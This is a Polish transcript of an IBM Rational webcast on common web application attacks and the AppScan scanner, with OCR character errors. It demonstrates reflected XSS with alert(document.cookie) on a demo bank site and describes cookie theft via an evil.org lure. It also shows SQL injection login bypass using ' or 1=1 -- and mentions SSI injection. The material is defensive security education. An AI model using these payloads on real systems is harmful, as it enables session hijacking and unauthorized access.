Podstawy hakerstwa, czyli 10 najbardziej rozpowszechnionych atakow na aplikacje WWW
Numer spotkania: 107647

Angelique Matheny: Witam i zapraszam na nasz webcast pod tytutem ,,Podstawy hakerstwa,
czyli 10 najbardziej rozpowszechnionych atakow na aplikacie WWW?”. Nazywam si¢ Angelique
Matheny, pracuje w IBM Rational i bed¢ prowadzi¢ dzisiejsze spotkanie.

Naszym gosciem jest Shawn Miller, specjalista do spraw bezpieczenstwa i procedur zgodnosci w
IBM Rational. Przez ostatnie 10 lat Shawn zajmowat si¢ tworzeniem i wdrazaniem aplikacji
WWW. Ma duze doswiadczenie w tak istosnych dzi§ kwestiach zwigzanych z bezpieczefistwem i
procedurami zgodno$ci. Do gldéwnych zadan Shawna nalezy propagowanie zagadnien
dotyczacych bezpieczenstwa oraz udzielanie przedsigbiorstwom pomocy w uwzglednieniu
kwestii bezpieczenstwa w cyklu tworzenia oprogramowania.

Dowiedza si¢ dzi$ Panstwo, jak wazne jest zabezpieczanie aplikacji WWW przed
najistotniejszymi obecnie zagrozeniami w sieci. Shawn opowie takze o trzech najczgsciej
spotykanych rodzajach atakow na aplikacje WWW — skad si¢ biora i jak mozna im zapobiec.
Omowi rowniez wady 1 zalety rgcznej oraz automatycznej metody skanowania i identyfikowania
stabych punktoéw zabezpieczen aplikacji WWW. Opowie, w jak sposob IBM Rational AppScan
moze utatwi¢ automatyzacje czynnosci wykonywanych do tej pory rgcznie.

Zanim zaczniemy, chcialabym zachgci¢ Panstwa do zadawania pytan Shawnowi w dowolnym
momencie dzisiejszej prezentacji. Moga Panstwo wpisywac pytania z lewej strony konsoli.
Odpowiedzi na nie udzielimy na koncu spotkania. Prosz¢ zatem przygotowac pytania wczesniej.

Przed sesja pytan i odpowiedzi przeprowadzimy krétka ankiete, prosze zatem wylaczy¢
blokowanie okienek w przegladarce, aby mie¢ pewnos¢, ze ankieta si¢ pojawi. Interesuja nas jej
wyniki, bedziemy zatem wdzigczni za poswigcenie czasu na jej wypetnienie.

Sadze, ze mozemy juz zaczac. Przekazuje¢ glos naszemu gosciowi.

Shawn Miller: Witam wszystkich. Chciatbym przedstawi¢ Panstwu korzysci wynikajace z
weryfikacji bezpieczenstwa aplikacji WWW z wykorzystaniem oprogramowania IBM Rational
AppScan.

Zaczng od tego, ze niemal w kazdym tygodniu pojawiaja si¢ informacje wskazujace na powage
problemu zabezpieczania aplikacji. Wystgpuja kradzieze danych kart kredytowych. Kradzione sa
dane osobowe. Ztodzieje wykradaja takze miliony numerow ubezpieczenia spotecznego.
Zagadnienie to dotyczy obecnie wigkszos$ci korporacji. I jest to rzeczywiscie ogromny problem,
ktory trzeba w jaki$§ sposob rozwiazac.

Czesto zadajemy pytanie, dlaczego wtasnie bezpieczenstwo aplikacji WWW ma dla wigkszos$ci
organizacji tak istotne znaczenie. Oprocz wspomnianych informacji, pojawiajacych si¢ w
mediach, istnieje tez sporo statystyk z tym zwigzanych. Wiemy na przyktad, ze aplikacije WWW
stanowia dla hakerow cel numer jeden. Firma Gartner przeprowadzita analizg, z ktorej wynika, ze
75% atakdw nastgpuje obecnie w warstwie aplikacji. Wedlug listy opublikowanej przez firme
Mitre, dwa najczgsciej zgtaszane rodzaje atakow to Cross-site scripting oraz QL Injection



(iniekcja SQL). Cross-site scripting jest szczego6lnie powaznym zagrozeniem. Byt to zreszta
najwigkszy problem w ciagu ostatnich czterech lat.

Wiemy réwniez, ze zagrozona jest obecnie wigkszos¢ serwisow. W ramach prac Watchfire oraz
IBM dotarlismy do statystyki wskazujacej, ze 90% przeskanowanych serwiséw jest zagrozonych
ktoryms rodzajem ataku na poziomie aplikacji. Wedlug firmy Symantec 78% stabych punktow
tych aplikacji mozna tatwo wykorzysta¢ do wtamania. Wedlug firmy Gartner do roku 2010
incydenty zwiazane z bezpieczenstwem moga wystapi¢ w 80% organizacji.

Czgsto pytamy zatem: dlaczego te aplikacje stanowia tak wazny cel dla hakerow? Coz, te serwisy
zawieraja dane klientéw, dane kart kredytowych. Latwiej jest ukras¢ tozsamosé. A efektem
takich kradziezy sa r6znego rodzaju oszustwa, takie jak podmiana stron WWW.

Pojawia si¢ rowniez wiele wymagan dotyczacych zgodno$ci, wprowadzanych w celu
rzeczywistego zabezpieczenia tych informacji. Na przyklad w branzy kart kredytowych pojawit
si¢ standard PCI DSS. Sa tez inne podstawy prawne, na przyktad GLBA, HIPAA czy FISMA.
Dla wigkszo$ci organizacji jest to zatem powazna kwestia i musi zosta¢ uwzgledniona juz teraz.

Nastgpny slajd nosi tytul ,,Wbudowanie mechanizmoéw zabezpieczen i zgodno$ci w proces
tworzenia oprogramowania”. Najpierw przyjrzyjmy si¢ tradycyjnemu podejsciu do rozwiazania
problemu. Problem byt zwykle odktadany na koniec cyklu tworzenia aplikacji. Zatem tradycyjna
metoda polegata na uruchomieniu skanowania aplikacji dopiero wéwczas, gdy byta ona
przekazywana do produkcji. Zat6zmy, ze mamy aplikacj¢ Team Build, ktérej opracowanie zajglo
rok.

Pod koniec cyklu opracowywania, gdy aplikacja jest juz gotowa do wdrozenia, dokonujemy
analizy jej zabezpieczen w poszukiwaniu stabych punktow. Ktopot polega na tym, Ze rodzaj
wykrytych w ten sposob stabych punktéw moze mie¢ istotny wptyw na termin wydania aplikacji.
Moze si¢ okaza¢ konieczne poswigcenie jeszcze kilku dodatkowych miesigcy na prace
projektowe. Moze by¢ potrzebna catkowita zmiana architektury. Koszt rzeczywistego
rozwiazania problemu jest zatem znacznie wigkszy, gdy zajmiemy sig¢ tym pod koniec cyklu
tworzenia aplikacji. Wiekszo$¢ organizacji bada wigc mozliwo$¢ przeniesienia zabezpieczen na
poziom operacyjny i uwzglednienia ich w samej aplikacji. W ten sposdb koszty naprawy usterki
lub problemu dotyczacego bezpieczenstwa znacznie si¢ zmniejszaja — tym bardziej, im
wczesniej zostanie to uwzglednione w cyklu tworzenia aplikacji.

Jesli na przyktad pracownicy dziatu zapewniania jako$ci uruchamiaja skanowanie w ramach
procesu konsolidacji... Nie. Sformutujmy to inaczej. Zat6zmy, ze pracownicy dziatu zapewniania
jakos$ci uruchamiaja test w ramach wykonywania testow funkcjonalnych aplikacji. Problem
moglby zosta¢ wykryty znacznie wczesniej 1 mozna by bardzo szybko zajac si¢ jego
rozwiazaniem.

A co by byto, gdyby$my dali samym tworcom aplikacji dostep do narzedzi umozliwiajacych
uruchamianie takiego skanowania? Mogtoby ono by¢ elementem procesu konsolidacji, a nawet
mogloby by¢ uzywane w trakcie tworzenia funkcjonalnosci przez programistow. Mogliby oni
uruchamiac testy jednostkowe od razu wykrywajace stabe punkty zabezpieczen i szybko
rozwiazywac problemy, co w ogole nie opdzniatoby procesu tworzenia aplikacji.



Mamy zatem wiele réznych rozwiazan, ktore moga utatwi¢ szybkie tworzenie danej aplikacji, a
nie utrudniad je, jak to si¢ dzieje w przypadku znajdowania stabych punktow zabezpieczen
znacznie, znacznie poézniej w cyklu produkcyjnym.

Spojrzmy teraz na ogdlng architekturg aplikacji WWW — jest to aplikacja tradycyjna. Po prawej
mamy serwery aplikacji, na ktorych dziataja aplikacje. Mamy bazy danych. Mozemy mie¢ tez
serwer LDAP 1 rézne procesy systemow zaplecza.

Z lewej strony mamy naszego zwyklego uzytkownika. Jesli uzytkownik komunikuje si¢ z ta
aplikacja, powiedzmy ze w tym wypadku przez Internet, to mozna wykorzysta¢ pewne
mechanizmy do ochrony przesytanych informacji. Mozemy na przyktad wykorzysta¢ SSL, czyli
szyfrowanie informacji. Mozemy mie¢ do dyspozycji firewall, ktory nie pozwala na bezposredni
dostep do tych wszystkich systeméw zaplecza. Gdy jednak méwimy o bezpieczenstwie aplikacji
WWW, problem polega na tym, ze komunikacja z udostepniona aplikacja odbywa si¢ przez jakis
port, na przyktad port 443 lub 80. Komunikujemy si¢ bezposrednio przez firewall z systemem
zaplecza. Interesujace jest jedno: mimo ze nie powinni§my ufa¢ zadnej informacji pochodzace;j
od tego uzytkownika, jest ona przesytana do aplikacji WWW. A infrastruktura zaplecza jest
traktowana jako zaufana przez serwer WWW.

Zatem aby wykorzystac te stabe punkty, powinni§my oprze¢ si¢ wtasnie na tym fakcie. Najpierw
przyjrzyjmy si¢ sieciowym metodom ochrony aplikacji WWW. Na tym diagramie mamy na
przyktad firewall, system wykrywania wlaman, system zapobiegania wlamaniom i jeszcze jeden
firewall. Firewall ma chroni¢ dostep do roznych zasobow zaplecza. Mozemy przyktadowo
chroni¢ serwer zawierajacy cenniki. Ale problemem znowu jest fakt, ze komunikujemy sig z
wykorzystaniem akceptowanego protokotu (HTTP lub HTTPS) i ze taczymy si¢ przez port 80 lub
443. Firewall zatem nie zatrzyma takiego ataku.

System wykrywania wtaman jest systemem pasywnym, ktory nastuchuje ré6znych sygnatur. Na
przyktad jesli badamy atak typu Ccross-site scripting, system moze zidentyfikowa¢ najwickszy
blok skryptu. Natomiast system zapobiegania wlamaniom dziata aktywnie: po znalezieniu
odpowiedniej sygnatury anuluje zadanie, ktore nie bedzie juz mogto by¢ kontynuowane. Problem
polega teraz na tym, ze wspomniane systemy moga nie odczyta¢ zadania lub go nie zrozumie¢,
jesli zostalo zakodowane w inny sposob, na przyktad w UTF-7, lub jesli jest przesytane przez
SSL — jest wtedy zaszyfrowane i wigkszo$¢ systemow nie moze go odczytac.

Firewall programowy jest interesujacym systemem, najbardziej inteligentnym sposrod

wszystkich wymienionych elementow. Dokonuje faktycznego sprawdzenia réznych danych
wejsciowych w tych czgsciach aplikacji, z ktérymi komunikuje si¢ uzytkownik. Firewall
programowy musi by¢ jednak aktualizowany za kazdym razem, gdy aplikacja zostanie zmieniona.
Jesli reguty nie sa ustalone w odpowiedni sposob, moga pojawic si¢ problemy. Zatem niezwykle
waznym, kluczowym aspektem zabezpieczania aplikacji WWW jest to, aby mogta ona chroni¢

si¢ sama i polega¢ na innych systemach, ktére moga przesta¢ dziata¢, ulec zmianie badz straci¢
skuteczno$¢. Mozliwos¢ ochrony aplikacji WWW przez nia sama jest wigc szczegolnie istotna.

Spojrzmy teraz na slajd poswigcony pewnym mitom. Do$¢ czgsto styszymy: nasz serwis jest
bezpieczny. Jak wiadomo, sa r6zne mechanizmy, z ktorych zwykle korzystaja firmy. Na przyktad



firewall. Widzieli$my na jednym z wczes$niejszych slajdéw, ze nie daje on praktycznie zadnej
ochrony, gdy chodzi o atak na aplikacig WWW. Komunikujemy si¢ przez HTTP, przez port 80
lub 443, a firewall na taka komunikacj¢ pozwala.

Czgsto rowniez dowiadujemy sig, ze uzytkownicy wykonuja kontrolg raz na kwartat z
wykorzystaniem testow penetracyjnych. Tu z kolei problem polega na tym, Ze jesli nie stosujemy
wlasciwego procesu zarzadzania zmianami, dowolna zmiana w aplikacji moze spowodowac
pojawienie si¢ ryzyka dla organizacji. Zatem musi istnie¢ co$ wigcej niz tylko kontrola raz na
trzy miesiace.

Czgsto dowiadujemy sig, ze firmy korzystaja ze skaneréw wykrywajacych stabe punkty
zabezpieczen. Takie skanery szukaja jednak zagrozen, ktore sa bardzo r6zne na wielu poziomach
aplikacji, ale tym si¢ zajmiemy za moment.

Po pierwsze, zastandwmy si¢, jakie sa rzeczywiste stabe punkty. Na pierwszym slajdzie
przedstawiono standardowy stos, w ktérym wyr6zniono poziom sieci, systemu operacyjnego,
aplikacji, bazy danych i serwera WWW, az po aplikacje WWW. Gdy méwimy o faktycznym
zabezpieczeniu systemu, musimy uwzgledni¢ kilka rodzajow analizy zagrozen i roznych narzedzi
do jej przeprowadzenia.

Na nastgpnym slajdzie przedstawiono pierwszy sposob, czyli analizg zagrozen sieciowych. W
tym obszarze mamy do dyspozycji wiele narzedzi. Produkty takie, jak Nessus, ISS, QualysGuard,
EEye Retina oraz Foundstone, koncentruja si¢ na dziataniu sieci, serweréw WWW, ich
konfiguracji oraz dziataniu komponentow pochodzacych od firm zewngtrznych. Nie wykonuje
si¢ tu analizy na poziomie aplikacji WWW, na poziomie bazy danych itd.

PrzejdZzmy do kolejnego slajdu. Przedstawiono tu btedy — chodzi zatem o skanowanie hostow.
Stuza do tego narzedzia Symantec, NetlQ, ISS, CA, Harris STAT. Ich dziatanie koncentruje sig
glownie na aplikacjach i systemie operacyjnym.

Jest wreszcie poziom bazy danych; w tej warstwie dziata specjalistyczne oprogramowanie
skanujace, np. oprogramowanie firm AppSec Inc. oraz NGSSoftware. Na slajdzie dotyczacym
skanowania aplikacji wida¢, ze skanowaniu podlegaja wszystkie elementy najwyzszego poziomu.
Zadne ze wspomnianych narzedzi nie skanowato catej gornej potowy tego diagramu. Nie mozna
zatem sprawdzi¢ serwera WWW, jego konfiguracji, komponentéw pochodzacych od firm
zewnetrznych, a wreszcie wszystkich ustug. Jesli przyjrzymy si¢ wszystkim uczestnikom tego
rynku, zauwazymy firm¢ Watchfire, przejeta przez IBM, firm¢ SPIDynamics, nabyta przez HP, a
takze firmy Cenzic, NT Objectives 1 Acunetix.

Istnieja tez nowe technologie, ktore stuza do analizowania stabych punktow zabezpieczen,
wykorzystywane na przyktad w produktach firm Fortify, Ounce Labs, Secure Software,
Klockwork 1 Parasoft. Koncentruja si¢ one jednak gtownie na dwoch najwyzszych warstwach
tego modelu, a zatem bardziej na poziomie kodu. Sprawdzaja raczej, jak wyglada przekazywanie
danych mig¢dzy punktami koncowymi. Nie wykrywaja zbyt wielu waznych probleméw
zwiagzanych z logika biznesowa, jak na przyktad zablokowanie konta uzytkownika.



Jest pewna interesujaca kwestia, na ktéra musimy zwroci¢ uwage. Jak wida¢ na kolejnym slajdzie,
W rzeczywisto$ci bezpieczenstwo i przeznaczone na nie naktady nie rownowaza si¢ wzajemnie.
Zwykle wydatki w tym zakresie przeznacza si¢ glownie na serwery sieciowe. Tak wigc 90%
wydatkow idzie na zabezpieczenie warstwy sieci, a tylko 10% na warstwe aplikacji WWW.
Dlaczego wydaje mi si¢ to takie niepokojace? Ot6z jesli spojrzymy na statystyke atakow,
zauwazymy ze tylko 25% z nich jest przeprowadzanych w warstwie sieci. Czyli 75% atakow
dotyczy warstwy aplikacji WWW. Trzeba zatem koniecznie poswigci¢ wigcej uwagi warstwie
aplikacji. To statystyki, ktore zostaty przedstawione przez firm¢ Gartner.

Zastandbwmy sig, czym tak naprawdg jest aplikacja WWW. Zacznijmy od tego miejsca na samym
dole. Uzytkownicy korzystaja z przegladarki i komunikuja si¢ z aplikacja z uzyciem HTML, a
doktadniej — widza aplikacje wyswietlana w HTML, a komunikuja si¢ za posrednictwem
protokotu HTTP.

Oprocz samej aplikacji WWW mamy jeszcze serwer WWW. Kod interfejsu uzytkownika
znajduje si¢ w aplikacji frontowej. Jest tez aplikacja zaplecza, ktoéra komunikuje si¢ z baza
danych, i sa w koncu dane, do ktorych aplikacja ma dostep. Warto zauwazy¢, ze dane sa
przekazywane migdzy r6znymi warstwami, istotne zatem staje si¢ sprawdzanie poprawnosci tych
danych; wtamanie na dowolnym poziomie wprowadza zagrozenie i umozliwia potencjalny atak
na aplikacje.

Przyktadowo jesli uzytkownik wpisuje dane, ktére sa przekazywane do aplikacji zaplecza, ale nie
podlegaja sprawdzeniu, to istnieje ryzyko iniekcji SQL lub podobnego dziatania. Kluczowa
sprawa dotyczaca bezpieczenstwa jest koniecznos$¢ przejrzenia wszystkich przekazywanych
danych, sprawdzenia ich i upewnienia si¢, ze moga one by¢ dalej przestane w bezpieczny sposob.

Spojrzmy teraz na nastgpny slajd dotyczacy problemoéw zwiazanych z bezpieczenstwem,;
podzielono je na te, ktorymi zarzadzamy, i te, ktorych jestesmy wiascicielami. Istotne sa tutaj
rézne typy slabych punktow zabezpieczen. Wyr6znilismy ogdlne stabe punkty WWW (Common
Web Vulnerabilities — CWV) oraz stabe punkty specyficzne dla aplikacji (Application Specific
Vulnerabilities — ASV). Warto moim zdaniem wskaza¢, gdzie te punkty wystepuja i kto tak
naprawdg jest odpowiedzialny za ich zlikwidowanie. W przypadku ogo6lnych stabych punktow
zabezpieczeh WWW przyczyna awarii sg zle zabezpieczone aplikacje opracowane przez firmy
zewnetrzne. Aby wykry¢ taki staby punkt, zwykle niezbg¢dne jest wyszukanie pewnych sygnatur
lub sprawdzenie, czy nie wystgpuja znane problemy z konfiguracja. Ryzyko wynika gléwnie z
faktu, ze pojawiaja si¢ opdznienia czasowe, a kontrola kosztow wiaze si¢ wytacznie z
czynno$ciami niezbednymi do zabezpieczenia takiej aplikacji firmy zewngtrznej. Moze to
oznacza¢ na przyktad oczekiwanie na opracowanie poprawek.

Jesli natomiast méwimy o stabych punktach zabezpieczen specyficznych dla aplikacji, to mamy
na mysli opracowanie aplikacji bez uwzglegdniania bezpieczenstwa, a to z reguty odbywa sig juz
w naszej firmie. Czyli to aplikacja, ktora tworzymy, zawiera te stabe punkty. Hakerzy moga
wykorzystywac takie techniki, jak iniekcja SQL, modyfikowanie §ciezki i cross-site scripting. Do
wykrycia takich wtaman niezbedna jest bardzo konkretna wiedza na temat aplikacji. W takich
sytuacjach niezwykle przydatne staja si¢ narzedzia typu AppScan. A ryzyko jest takie, ze
potencjalnie wplywa to na cykl tworzenia aplikacji. Chodzi o opdznienie wydan aplikacji i tak



dalej. Im wczesniej wykryjemy takie stabe punkty, tym wcze$niej mozna je usunac, co istotnie
zmniejsza ilo$¢ srodkow, ktdre na to przeznaczamy.

Jesli juz méwimy o faktycznym rozwiazywaniu problemoéw przez organizacje, to wiele z nich
dopiero od bardzo niedawna zajmuje si¢ bezpieczenstwem aplikacji. Dobrym punktem startowym
jest serwis OWASP. OWASP publikuje listg 10 najczgstszych sposobow ataku, dzigki czemu
mozna pozna¢ najpopularniejsze metody dziatania hakerow. OWASP to skrot nazwy Open Web
Application Security Project (otwarty projekt dotyczacy bezpieczenstwa aplikacji WWW). Jest to
organizacja zajmujaca si¢ poprawa bezpieczenstwa oprogramowania. Lista publikowana przez
OWASP stanowi zestawienie problemow, ogolnie uznawanych za najwazniejsze, zwiazanych z
bezpieczenstwem aplikacji WWW. Jest to zatem dobry punkt startowy, jesli chcemy zrozumiec¢,
co uzytkownicy moga zrobi¢ z nasza aplikacja, oraz gdy chcemy ogoélnie pozna¢ sytuacj¢ na
rynku.

Przyjrzyjmy sig teraz lisScie OWASP i kilku wymienionym na niej zagrozeniom. Pierwsze z nich
to atak typu cross-site scripting. Pozwala on wlamywaczom na kradziez tozsamosci, uzyskanie
dostepu do poufnych informacji, a takze na podszywanie si¢ pod uprawnionych uzytkownikow i
przejecie kontroli nad ich kontami.

Dalej sa metody ataku zwiazane ze wstawianiem kodu — prawdopodobnie znana jest juz
Panstwu metoda iniekcji SQL. Umozliwia ona hakerom manipulowanie baza danych, katalogiem
LDAP i innymi systemami zaplecza.

Uruchomienie ztosliwego pliku oznacza potencjalng mozliwos¢ wykonywania komend powtoki
na serwerze. Jest jeszcze parg innych stabych punktow, ktére nalezy uwzglednié, na przyktad
niezabezpieczone bezposrednie odwotania do obiektow, wyciek informacji czy niewtasciwa
obstluga btedow. Kolejnym przyktadem jest brak ograniczen dostgpu do adresow URL.

Zacznijmy od pierwszego problemu i zajmijmy si¢ metoda Cross-site scripting, oznaczana
czasami skrotem XSS. Postaram si¢ najpierw pokazac, na czym w ogole polega cross-site
scripting. Jest to w zasadzie szkodliwy skrypt umieszczany w kodzie HTML zwracanym przez
zaufany serwer. Uruchamia si¢ on w ramach tego samego zaufanego potaczenia. Jakie sa tego
skutki? Mozna ukra$¢ znaczniki sesji, mozna zmieni¢ zawarto$¢ calej strony. Zagrozenie moze
tez dotyczy¢ dowolnych stron, do ktorych w przysztosci odwota si¢ uzytkownik.

Przejdzmy do nastepnego slajdu. Po pierwsze chciatbym zademonstrowac sposob dziatania
cross-site scripting. Zajmiemy sig przede wszystkim znalezieniem miejsca, w ktorym dane
wprowadzone przez uzytkownika moga zosta¢ przekazane ponownie do przegladarki.
Sprawdzimy, czy dane sa zwracane bez zmian, czy tez sa odpowiednio zakodowane — i
zobaczymy, jak wykorzysta¢ ten staby punkt.

Spojrzmy zatem na slajd, na ktorym przedstawiono pierwszy przyktad XSS. W prawym gérnym
rogu serwisu Altoro Mutual umieszczono funkcj¢ wyszukiwania. Jest to serwis, ktory
umiescilismy pod adresem demo.testfire.net. Wykorzystamy go do zademonstrowania zagrozenia.
Pole wyszukiwania zawsze dobrze si¢ nadaje do zademonstrowania cross-site scripting. Po
pierwsze sprawdzamy, czy wpisanie jakiego$ nieszkodliwego ciagu znakow, na przyktad ,,asdf”,

1 naci$nigcie przycisku wyszukiwania spowoduje ponowne wys$wietlenie tego napisu na ekranie.



Jak wida¢ w lewym dolnym roku, napis ,,asdf” pojawit si¢ ponownie, zostala rowniez
wyswietlona informacja, ze dla tego zapytania nie znaleziono wynikow.

Proszg zwroci¢ na to uwage. Na samej gorze, w fancuchu zapytania zaczynajacym si¢ od znakow
www.testfire.net/sear ch.Aspx?TxtSear ch=, mozna zauwazyc¢, ze tekst wpisany w okienku
wyszukiwania rowniez jest czgscia tego adresu URL. PrzejdZmy teraz do nastgpnego slajdu.
Widzimy tu zrodtowy kod HTML. To, co wpisatem w oknie wyszukiwania, pojawia si¢
rzeczywiscie w samym kodzie HTML.

Zobaczmy zatem, jak mozna to wykorzystac.

Na kolejnym slajdzie widaé, ze zamiast ciagu ,,asdf”” wtamywacz wpisat znacznik skryptu.
Musimy sprawdzi¢, czy mamy tu do czynienia z zagrozeniem typu Cross-site scripting.
Wpiszemy kod JavaScript; sprobujmy wpisa¢ alert(document.cookie).

Efektem tego bedzie wyswietlenie zawartos$ci informacji cookie

wykorzystywanej aktualnie przez uzytkownika. W oknie alertu wida¢ teraz parametry Session ID
oraz AmSession ID sesji ASP.NET. Sa to dwie informacje cookie wykorzystywane do §ledzenia
mojej sesji. Pokazatem wtasnie, ze mozliwe jest wprowadzenie jako parametru pewnego kodu,
ktéry zostanie nastgpnie wykonany w przegladarce uzytkownika po wys$wietleniu strony.

W zrédtowym kodzie HTML mozna zobaczy¢, ze wprowadzony przez uzytkownika skrypt byt
rzeczywiscie wyswietlony na ekranie. Jest to zatem bardzo powazne zagrozenie. Na nastgpnym
ekranie wymieniono sytuacje, w jakich moze pojawic¢ si¢ problem cross-site scripting. Bardzo
czgsto wystgpuje on na stronach wyszukiwania. Dotyczy to nawet stron informujacych o bigdach.
Czasami mozna zobaczy¢ strong z komunikatem o big¢dzie, np. ,,Strona nie zostata znaleziona”,
lub strong przekierowujaca itp.; takie dane rowniez zostana wprowadzone do kodu HTML.
Problem polega na tym, ze przekazanie z powrotem dowolnych danych ($ciezki, zapytania,
danych przestanych przez uzytkownika czy zawartosci naglowka strony) pozwala na
przeprowadzenie potencjalnego ataku na strong, jesli tylko mamy mozliwos¢ wprowadzenia
jakiego$ kodu. Nawet niektore technologie wykorzystywane w przegladarkach, takie jak AJAX i
Flash, zwigkszaja ryzyko dziatania aplikacji.

Przejdzmy do nastgpnego slajdu, aby zrozumie¢, jak mogtoby to zosta¢ wykorzystane. Moge
dysponowac¢ kilkoma zewngtrznymi serwisami WWW. Moze to by¢ na przyktad serwis evil.org,
gdzie$§ w Internecie. Zamierzam teraz wysta¢ wiadomos$¢ e-mail albo wpisa¢ co$ na blogu lub w
serwisie WWW, aby zacheci¢ kogo$ do kliknigcia takiego odsytacza. Teraz wysle t¢ wiadomos$¢
do wszystkich. Odbiorca klika odsytacz. Jesli uzytkownik przyjrzy si¢ zawartosci odsytacza,
zobaczy nazwe rzeczywistego serwisu i przyjmie, ze jest odsytany do poprawnej strony.

Gdy kliknie odsytacz, zostanie skierowany do rzeczywistego serwisu bankowego, a kod
JavaScript (lub inny), wprowadzony jako parametr, zostanie przekazany razem z zadaniem.
Serwis banku przetwarza t¢ informacj¢ i odsyta odpowiedz uzytkownikowi. W tym momencie
wprowadzony kod JavaScript — czy dowolny inny — jest uruchamiany w przegladarce
uzytkownika. Moze zatem rejestrowac sekwencje klawiszy naciskanych przez uzytkownika,
przesyta¢ dane do zewngtrznych serwisow WWW lub zmienia¢ zawarto§¢ wyswietlana wtasnie
w przegladarce. Od tej pory dowolne dziatanie uzytkownika moze sig skonczy¢ przestaniem
danych na zewnatrz.



Zatem podsumujmy. Na pierwszym slajdzie widzimy, jak serwis evil.org przesyta wszystkim
uzytkownikom odsylacz do serwisu bank.com. Na nast¢pnym wida¢, ze dane sa przesytane do
serwisu bank.com, a na kolejnym — ze wracaja do uzytkownika i sa wyswietlane na ekranie.
Nastgpnie wszystkie informacje sa przesytane do serwisu evil.org. Jak wida¢ na ostatnim slajdzie,
uzytkownik przestaje juz by¢ niezbedny. Mamy wszystkie dane uwierzytelniajace uzytkownika.
Mamy wszystkie informacje, ktére go dotycza. Mozemy juz dostac si¢ bezposrednio do aplikacji
WWW bez jego udziatu.

W tym przypadku mieliSmy zatem do czynienia z czterema etapami uzyskania od uzytkownika
wszystkich niezbgdnych informacji. Teraz przejde do nastgpnego ekranu i omowig sposob
wykorzystania XSS. Bedzie to podsumowanie tego, o czym mowilismy. Jesli potrafimy sktonié
uzytkownika do uruchomienia naszego kodu JavaScript, to mozemy ukras¢ informacjg cookie z
domeny, z ktora ten uzytkownik si¢ laczy. Mozemy przesledzi¢ kazde dzialanie wykonywane
przez niego w przegladarce. Mozemy go przekierowa¢ do serwisu wytudzajacego dane. Mozemy
catkowicie zmodyfikowac zawarto$¢ wszystkich stron wyswietlanych w danej domenie i
wykorzysta¢ stabe punkty przegladarki do przejecia kontroli nad komputerem uzytkownika.
Cross-site scripting stanowi dzi$ zatem gtowne zagrozenie. Jest najczesciej wykorzystywana
technika dziatania.

Opowiem teraz o kolejnym zagrozeniu, czyli o zagrozeniach zwigzanych z iniekcja kodu. Co to
znaczy? Informacje wprowadzone przez uzytkownika sa przesytane do interpretera jako czg$¢
zapytania albo dane. Dzigki temu aplikacje moga by¢ bardziej dynamiczne, moga pobiera¢ dane z
formularzy, przesyla¢ zapytania bazy danych. Sa rézne typy zagrozen zwiazanych z iniekcja
kodu. Pierwszym z nich jest iniekcja SQL, ktéra wiaze si¢ z mozliwo$cia odczytania i
zmodyfikowania danych w bazie. Iniekcja SSI umozliwia wykonywanie komend na serwerze i
dostep do poufnych danych. Iniekcja LDAP pozwala na ominigcie uwierzytelniania.

Na kolejnym slajdzie przyjrzymy sig iniekcji SQL, w ktorej dane wprowadzone przez
uzytkownika sa wprowadzane do komendy SQL. Zacznijmy od prostego przyktadu. Mamy raport,
ktory przyktadowo zawiera szczegoty produktu wybranego na podstawie identyfikatora (ID). W
aplikacji zaplecza programista umiescit lini¢ kodu w postaci ,,select from products where ID =".
Na koncu znajduje si¢ miejsce na wpisanie identyfikatora, tak wigc parametr zapytania jest
podawany przez uzytkownika. Tak si¢ sktada, ze aby dokona¢ ingerencji w to zapytanie,
wystarczy jedynie napisa¢ wlasny kod. Stosuje si¢ tutaj pewna drobna sztuczke, ktora polega na
wpisaniu apostrofu, co umozliwia podzielenie instrukcji SQL 1 wprowadzenie dowolnego kodu
bezposrednio po takim znaku.

PrzejdZzmy do nastgpnego slajdu — zobaczymy na nim przyktad iniekcji SQL. Pierwszym etapem
okreslania profilu aplikacji jest ustalenie, jakie pola sa umieszczane w komendzie SQL. Zatem
pierwszym krokiem jest wpisanie w polu apostrofu. Na nastgpnym ekranie widac, ze system
zwrocit btad. Wyswietlony komunikat zawiera informacj¢ o btedzie sktadniowym. Na pierwszy
rzut oka wyglada to zatem na problem z aplikacja. Jesli jednak sprobujemy zrozumie¢, co sig¢
stalo w systemie zaplecza, to zobaczymy ze wprowadzili$my znak, ktory zmienit sktadni¢ kodu
na poziomie bazy danych. Sugeruje to, ze mozemy sprobowaé wprowadzi¢ wtasny kod, ktory
zostanie uruchomiony. Musialem nieco zmodyfikowac sktadnig, aby umozliwi¢ takie dziatanie.

Przejdzmy do kolejnego slajdu. Sprobujemy tu ponownie wprowadzi¢ jakis wiasny fragment
kodu. Umiesé¢my zatem w apostrofach napis 1=1. Baza danych zamiast wykonania zapytania



»select * from user table where user name="JSmith’ and password="demo1234°”” wykona
zapytanie ,,select * from user table where user name={PUSTE} or 1=1". Akurat w tym
przypadku nie zwroci ono wszystkich uzytkownikéw w bazie, bo mamy jeszcze ten ktopotliwy
parametr ,,password”. Z reguly wlamywacze wpisuja tu ciag znakow ztozony z dwoch tacznikow
(--), co powoduje catkowite zignorowanie pozostalej czesci zapytania. Dwa taczniki to
oznaczenie komentarza. Zatem teraz zapytanie brzmi ,,select * from user table where

user name={PUSTE} or 1=1". W takiej postaci zwrdci ono juz list¢ wszystkich uzytkownikoéw
W systemie.

Na kolejnym slajdzie przedstawiono nastgpny przyklad. Jak wida¢, mogtem si¢ zalogowac jako
uzytkownik ,,System”, ktory zostat zwrdocony jako losowy uzytkownik. A w systemie wystepuje
przeciez jako John Smith. Problem jest zatem wyjatkowo niepokojacy: dostaliSmy si¢ do wngtrza
aplikacji za pomoca jednej, bardzo prostej linii kodu. Stato sig tak dlatego, ze programista nie
korzystal ze wstepnie interpretowanych instrukcji (prepared statements) lub jakiej$
sparametryzowanej formy przekazywania danych. Zapytanie zostato przekazane do bazy danych
bez zadnego sprawdzania.

Poznalismy efekt iniekcji SQL, o ktdrej ostatnio tak duzo si¢ méwi. Na nastgpnym slajdzie
zobaczymy jeszcze kilka innych ciekawych przyktadow takiego dzialania. Sa jednak takze inne
rodzaje wstawiania kodu, na przyktad iniekcja SSI, zaprezentowana na tym ekranie. Wyglada to
prawie jak komentarz w jezyku HTML, ma jednak sktadni¢ komendy. Komenda jest zatem
przesytana do systemu zaplecza i zostanie uruchomiona na serwerze w ramach SSI (server side
include), czyli dotaczania dokumentdéw po stronie serwera. Przejdzmy teraz do nast¢pnego
ekranu.

